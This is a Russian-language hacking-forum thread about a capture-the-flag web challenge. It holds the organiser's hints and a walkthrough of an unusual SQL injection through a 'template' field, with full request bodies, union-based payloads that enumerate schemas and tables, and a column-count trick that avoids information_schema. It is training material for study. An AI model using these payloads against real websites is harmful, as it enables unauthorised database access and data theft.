![]() |
Пока остаемся в рамках простых заданий, можно ковырять всем.
Задание искусственно можно разбить на два этапа: - найти дыру - проэксплуатировать Вторая часть - чисто технология, изобретать не надо, все известно, ну может не часто использовалась. В первой части заметная эвристическая составляющая, на любителя. Брутить и сканить ничего не нужно (просто бесполезно), внимательность и аккуратность вырулят. Задание: Таргет: http://task10.antichat.com/ Найти и прочитать флаг. Ответы присылайте в ПМ форума, интересует не флаг, а прохождение. Срок: две недели. Правила остаются прежними: В теме не флудим, подсказки разрешены только от ТС. Прошли: undefo1,2 Shubka75 1,2 neur0funk1,2 Раrаdох 1,2 nix_security 1,2 gurux131,2 MichelleBoxing 1,2 fandor91,2 Прохождения /threads/476269/#post-4375982 |
В форму уже повтыкали и поняли, в учетке баги нет.
Но там еще какие то поля присутствуют и есть непонятки. |
Наверное можно сразу подсказать, что за багу ищем, но попробую сделать чуть менее явно.
Это самая изученная тема на Античате. Да-да, банальная ... Т.е. - умеют все. |
Попросили пока не делать подсказок, подожду до завтра.
Мне все же представляется, что не нужно перебирать все варианты, слишком много времени уйдет, а искать конкретную багу. Тем более, что лежит она неочевидно. И это почти уравнивает шансы профи и новичков. |
Собственно подсказка уже дана и если скажу открытым текстом, разница будет небольшая.
Имеем SQLi. И даже не слепую, а с выводом. Но кавычкой она не ловится. Да и вывод больше похож на замочную скважину, видно не все и не всегда. И "крутить" нужно осторожно, прямо кончиками пальцев. Дверь и откроется. |
Однажды (на даже очень крупном сайте) встретилась необычная SQLi, которую не сразу и узнал то.
Не подавала признаков жизни, пока не начал определять точные границы фильтра в поле. Вот тогда сформировалась конструкция, внутри которой начали срабатывать логические выражения и SQLi. Некоторый шаблон служил запуском SQLi. И он же сломал мой шаблон о том, как должна выглядеть SQLi. Поле "template" в задании должно было запустить ассоциации с чем то типа SSTI. |
Подсказок пока не будет, порог новизны пройден, остальное дело техники.
Если утомились искать точку входа, можно пропустить этот этап, стучите в личку, выдам шаблон. Возможно дней через несколько выложу его для всех, поскольку задание предполагалось для массового прохождения, основное в задании - во второй части. А первая часть добавляет "вкус", элемент неожиданности. На любителя. |
Спасибо за таск, познавательно!
|
Наверное нет смысла дольше ковырять первую часть.
Есть некоторый предел, после которого вместо радости открытия получишь утомление и раздражение. Поэтому пропускаем и ищем дальше .SpoilerTarget" type="button">Spoiler: Template Иньекция в поле template, но не в привычном нам виде, а внутри некоторой конструкции, похожей на то, что мы встречаем при SSTI Код:
={{SQLi}}=Вторая часть должна пойти полегче, undefoприслал ответ почти со скоростью набора символов на клавиатуре. |
Видимо многим в новинку, не поняли подсказку, в личку каждому отвечать не буду попробую здесь пояснить еще раз.
.SpoilerTarget" type="button">Spoiler: Пояснения Иньекция срабатывает не просто в поле, как мы привыкли, а внутри некоторого шаблона, т.е. так Код:
_csrf=OA26W7CTlUbhgUC0XdWn50gWHtEv3jv91krkfL6TpCs&template=={{тут вставляем payload}}=&email=&password=&commit=Log In |
Наверное последнее, что напишу по поводу задания
вторая часть - изи, или даже изи-изи. Union-based SQLi с выводом, даже не слепая. Ради нее и задание запускать не очень нужно, тем более на форуме, где исторически сложилась сильная школа исследователей по этому направлению. Но раз уже сделано, точка входа выложена на блюдечке, можно и воткнуть. Я предполагал, что решит всякий, кто возьмется. Даже с начальным опытом. |
Спс, хороший таск, на практике такое ни разу не использовал.
P.S. после закрытия таска, можно исходники посмотреть? |
Цитата:
Почему и как написан код - никакого значения не имеет. Имеем нечто по-факту. С ним можно взаимодействовать некоторым образом. Нужно догадаться - как именно. Черный ящик. |
Раз уж заглянул на античат, то заодно решил и размять руки. Спасибо за задание, было интересно и совсем не долго, — ничего сложного.
|
Спасибо, получил удовольствие от задания
|
Довольно интересная задача. Первую часть оценить не могу, потому что посмотрел подсказки. Ну как, подсказки. Решение
А вот вторая часть неплохая, хотя для меня с элементом "угадывания". Спасибо за задачу! |
познавательно, было интересно.
Спасибо автору |
Спасибо, попыхтел и решил. узнал кое-что для себя новое.
|
Прохождение:
Ищем точку входа. Ничего интересного, кроме параметров, в форме нет. Втыкаем в них. В ответах есть реакция только на поле "template", видна работа фильтра, на "запрещенные" символы получаем пустую ссылку на файл стилей и верстка рушится. Если проверить на допустимые символы, то получим такой набор: [a-zA-Z0-9\-_\.\/\'\{\}= \(\),\*] Немного странный набор, но он косвенно свидетельствует о том, что поле обрабатывается и через него можно отослать, сразу и не понятно чего. Странным его делают символы (){}*= попробем построить из них чего-нибудь. В аналогичной ситуациии заметил, что часто получаются симметричные конструкции и начал добавлять в них выражения - арифметические и логические. В какой то момет получил реакцию. В данном случае внутри шаблона ={{}}= Код:
={{purple}}= href="./css/purple.css"Код:
'union select group_concat(0x7c,table_schema)from(select distinct table_schema from information_schema.tables)t-- -Код:
'union select group_concat(0x7c,table_name)from(select distinct table_name from information_schema.tables where table_schema=0x7461736B3130)t-- -Видим сбивающее с толку название flag1286n2482, чтоли это и есть флаг? Но по факту это только указатель, нужно прочитать данные таблички. И тут наш вектор сломался и отказывается работать, если мы пытаемся воткнуть ему подстроку "column". С одной стороны обидно, пару запросов осталось сделать. С другой стороны - нас это не остановит. Было время, когда information_schema вообще не существовало, а информацию вытаскивали. И тут есть два варианта - быстренько повтыкать по такому случаю, или не тратить время и убедиться, что это уже давно найдено за нас https://rdot.org/forum/showpost.php?...2&postcount=10 Находим количество полей в таблице - 3. Код:
purple' and exists(select*from(select*from flag1286n2482 order by 3)k)and'1Код:
'union select k.2 from(select 1,2,3 union select * from flag1286n2482)k limit 1,1-- -.SpoilerTarget" type="button">Spoiler: Немного лирики Вообще, задания типа этой первой части я не люблю и скорее всего не стал бы его решать. Тогда почему включил в таск? В задании допустимо следовать настроению и проигнорить поиск, но в реале мотивация может быть посильнее, чем настроение. И когда в такой ситуации бага расковырялась, я понял несколько вещей: - SQLi и сейчас может быть интересной, хотя в свое время их навтыкались до отвращения. - сколько и чего я пропустил на реальных сайтах, просто потому, что опыт загоняет тебя в шаблоны восприятия - что и как должно выглядеть. - приятно открыть дверь там, где ее даже и не видно, даже и при полном свете. Прохождения участников: .SpoilerTarget" type="button">Spoiler Цитата:
Цитата:
Цитата:
Цитата:
Цитата:
Цитата:
Цитата:
Цитата:
Все меньше времени остается на задачки, но мы их не бросаем == PS В изначальном варианте information_schema была полностью запрещена и нужно было найти еще и небрутабельное имя таблицы. Но посчитал, что это излишне затянет задание, без особой на то необходимости. И выпилил перед запуском. |
Пацаны ваще ребята, респект всем решившим!
|
| Время: 10:40 |